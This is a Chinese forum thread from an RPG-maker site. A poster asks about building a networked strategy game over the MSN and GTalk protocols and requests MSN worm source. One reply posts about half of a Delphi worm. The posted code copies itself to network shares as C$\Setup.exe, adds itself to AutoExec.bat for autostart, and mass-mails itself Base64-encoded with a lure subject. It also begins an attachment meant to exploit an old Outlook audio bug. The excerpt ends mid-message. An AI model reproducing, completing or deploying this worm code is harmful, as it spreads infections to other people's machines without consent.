Project1
标题:
通过im实现互连网战棋的方法?^^
[打印本页]
作者:
冰水
时间:
2008-4-17 22:29
标题:
通过im实现互连网战棋的方法?^^
qq的协议不开放,前些日子还告了珊瑚虫,就先不不考虑了
msn与gtalk等几个都是开放协议的。有什么好点的方法可以通过他们发送接收消息吗?最好是封装好的dll。据说有,但没百度到TT
msn的sdk机器人个人版无法主动建立会话。好象还得通过ncesoft.com中转。
有msn蠕虫源码也可以,学习一下。感觉那些蠕虫都很强大啊,就是不知道会不会误报毒^^
作者:
冰水
时间:
2008-4-20 03:30
3天了,自顶下^^
作者:
做游戏的新手
时间:
2008-4-20 03:34
晕才2天啊``
好了为了不灌水嫌疑我说说吧{/hx}
别骂我
要认可喔``
Uses Windows, Winsock;
TYPE
Triple = ARRAY[1..3] OF BYTE;
Quad = ARRAY[1..4] OF BYTE;
// Message
Const
Mess : String = 'This is test worm';
Var
// Network string
Domains : String;
// Mail String
Mails : String;
//Base 64 Encode
Buf : Array[0..255] Of Char;
FileBuf : Array[0..1000000] Of Byte;
CC : String = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
// Lowercase Function.
Function LowerCase(const S: string): string;
var
Len: Integer;
begin
Len := Length(S);
SetString(Result, PChar(S), Len);
if Len > 0 then CharLowerBuff(Pointer(Result), Len);
end;
Function FileSize(FileName: String): Int64;
Var
H: THandle;
FData: TWin32FindData;
Begin
Result:= -1;
H:= FindFirstFile(PChar(FileName), FData);
If H <> INVALID_HANDLE_VALUE Then
Begin
Windows.FindClose(H);
Result:= Int64(FData.nFileSizeHigh) Shl 32 + FData.nFileSizeLow;
End;
End;
Function ExtractFileName(Str:String):String;
Begin
While Pos('\', Str)>0 Do
Str := Copy(Str, Pos('\',Str)+1, Length(Str));
Result := Str;
End;
// FileExists Function.
function FileExists(const FileName: string): Boolean;
var
Handle: THandle;
FindData: TWin32FindData;
begin
Handle := FindFirstFileA(PChar(FileName), FindData);
result:= Handle <> INVALID_HANDLE_VALUE;
if result then
begin
CloseHandle(Handle);
end;
end;
// Network Spread Function
procedure Enumeration(aResource:PNetResource);
var
aHandle: THandle;
k, BufferSize: DWORD;
Buffer: array[0..1023] of TNetResource;
i: Integer;
begin
WNetOpenEnum(2,0,0,aResource,aHandle);
k:=1024;
BufferSize:=SizeOf(Buffer);
while WNetEnumResource(aHandle,k,@Buffer,BufferSize)=0 do
for i:=0 to k-1 do
begin
if Buffer[i].dwDisplayType=RESOURCEDISPLAYTYPE_SERVER then
// Put all found domains in DOMAINS string. public declared.
Domains := Domains + copy(LowerCase(Buffer[i].lpRemoteName),3,MAX_PATH) + #13#10;
if Buffer[i].dwUsage>0 then
Enumeration(@Buffer[i])
end;
WNetCloseEnum(aHandle);
end;
// Here is the main procedure.
Procedure Network;
Var
Name : String;
Auto : TextFile;
Begin
// first of course enumerate the domains.
Enumeration(NIL);
// while domains aint NOTHING we grab out domains. (look liks : NAME#13#10NAME#13#10) :D
While Domains <> '' Do Begin
// strip out name
Name := Copy(Domains, 1, Pos(#13#10, Domains)-1);
// try, MIGHT fuck so better TRY.
Try
// COPY TO C!!
CopyFile(pChar(ParamStr(0)), pChar(Name + '\C$\Setup.exe'), False);
// modify autoexec so it launches setup.exe automaticly
If FileExists(pChar(Name + '\C$\AutoExec.bat')) Then Begin
AssignFile(Auto, Name + '\C$\AutoExec.bat');
Append(Auto);
WriteLn(Auto, 'Setup.exe');
CloseFile(Auto);
// where done, so lets go
End;
Except
;
End;
Domains := Copy(Domains, Pos(#13#10, Domains)+2, Length(Domains));
作者: jacker0o 2006-3-5 15:33 回复此发言
--------------------------------------------------------------------------------
2 蠕虫源码
End;
End;
// Base64 Encode Written By Positron
// MailSend Written By p0ke
FUNCTION Codeb64(Count:BYTE;T:Triple) : STRING;
VAR
Q : Quad;
Strg : STRING;
BEGIN
IF Count<3 THEN BEGIN
T[3]:=0;
Q[4]:=64;
END ELSE Q[4]:=(T[3] AND $3F);
IF Count<2 THEN BEGIN
T[2]:=0;
Q[3]:=64;
END ELSE Q[3]:=Byte(((T[2] SHL 2)OR(T[3] SHR 6)) AND $3F);
Q[2]:=Byte(((T[1] SHL 4) OR (T[2] SHR 4)) AND $3F);
Q[1]:=((T[1] SHR 2) AND $3F);
Strg:='';
FOR Count:=1 TO 4 DO Strg:=(Strg+CC[(Q[Count]+1)]);
RESULT:=Strg;
END;
FUNCTION BASE64(DataLength:DWORD) : AnsiString;
VAR
B : AnsiString;
I : DWORD;
Remain : DWORD;
Trip : Triple;
Count : WORD;
BEGIN
Count:=0;
B:='';
FOR I:=1 TO DataLength DIV 3 DO BEGIN
INC(Count,4);
Trip[1]:=Ord(FileBuf[(I-1)*3+1]);
Trip[2]:=Ord(FileBuf[(I-1)*3+2]);
Trip[3]:=Ord(FileBuf[(I-1)*3+3]);
B:=B+codeb64(3,Trip);
IF Count=76 THEN BEGIN
B:=B+#13#10;
Count:=0;
END;
END;
Remain:=DataLength-(DataLength DIV 3)*3;
IF Remain>0 THEN BEGIN
Trip[1]:=Ord(FileBuf[DataLength-1]);
IF Remain>1 THEN Trip[2]:=Ord(FileBuf[DataLength]);
IF Remain=1 THEN B:=B+Codeb64(1,Trip) ELSE B:=B+Codeb64(2,Trip);
END;
RESULT:=B;
END;
Procedure SendMail(Recip, From, Server: String);
Var
Sock : TSocket;
Wsadatas : TWSADATA;
SockAddrIn : TSockAddrIn;
F : FILE;
Procedure Mys(STR:STRING);
Begin
Send(Sock,STR[1],Length(STR),0);
End;
Begin
// First try to connect to server.
// Startup
WSAStartUp(257,wsadatas);
// Set Socket
Sock:=Socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
// Set settings for socket
SockAddrIn.sin_family:=AF_INET;
// Set port, in this case 25
SockAddrIn.sin_port:=htons(25);
// Set address, in this case "Server"
SockAddrIn.sin_addr.S_addr:=inet_addr(PChar(Server));
// Try to connect
If Connect(Sock,SockAddrIn,SizeOf(SockAddrIn)) <> SOCKET_ERROR Then Begin
// YAY, no errors. Lets go.
// Hello Server
Mys('HELO .com'+#13#10);
// I want to send from "FROM"
Mys('MAIL FROM: '+From+#13#10);
// Recip is my victim :)
Mys('RCPT TO: '+recip+#13#10);
// Data, Data, Data, Data
Mys('DATA'+#13#10);
// From. ME!
Mys('From: '+From+#13#10);
// My Subject
Mys('Subject: 好久不见,你还好吗'+#13#10);
// Recip. YOU!
Mys('To: '+Recip+#13#10);
// MIME-VERSION 6.66
Mys('MIME-Version: 1.0'+#13#10);
// Lets Call It ShutFace
Mys('Content-Type: multipart/mixed; boundary="ShutFace"'+#13#10+#13#10);
// START SHUTFACE
Mys('--ShutFace'+#13#10);
// Text/Plain/Boring/FuckOff
Mys('Content-Type: text/plain; charset:us-ascii'+#13#10+#13#10);
// Omg, BODY!
Mys('好久不见,你还好吗?请收好'+#13#10);
Mys('附件。'+#13#10);
Mys(#13#10+#13#10);
// Stop ShutFace!
Mys('--ShutFace'+#13#10);
// Lets use a old old old, OOOOLD exploit in outlook. the AUDIO exploit :)
Mys('Content-Type: audio/x-wav;'+#13#10);
复制代码
先发一半{/cy}
认可了我编辑另一半``{/tp} [LINE]1,#dddddd[/LINE]
系统信息:本贴获得楼主认可,66RPG感谢您的热情解答~
作者:
冰水
时间:
2008-4-20 23:02
过了36小时了啊^^写错了
楼上的是什么语言写的啊?应该是Delphi吧?
我只有一点点c的基础,这个……这个……-_-!
有vc的源码或者vb的源码吗?(vb的dll好象不是标准dll,ruby似乎无法调用orz有谁知道怎么回事?)
要是有封装好的dll插件就最好了^^
作者:
冰水
时间:
2008-4-22 17:52
2天了,再顶下
欢迎光临 Project1 (https://rpg.blue/)
Powered by Discuz! X3.1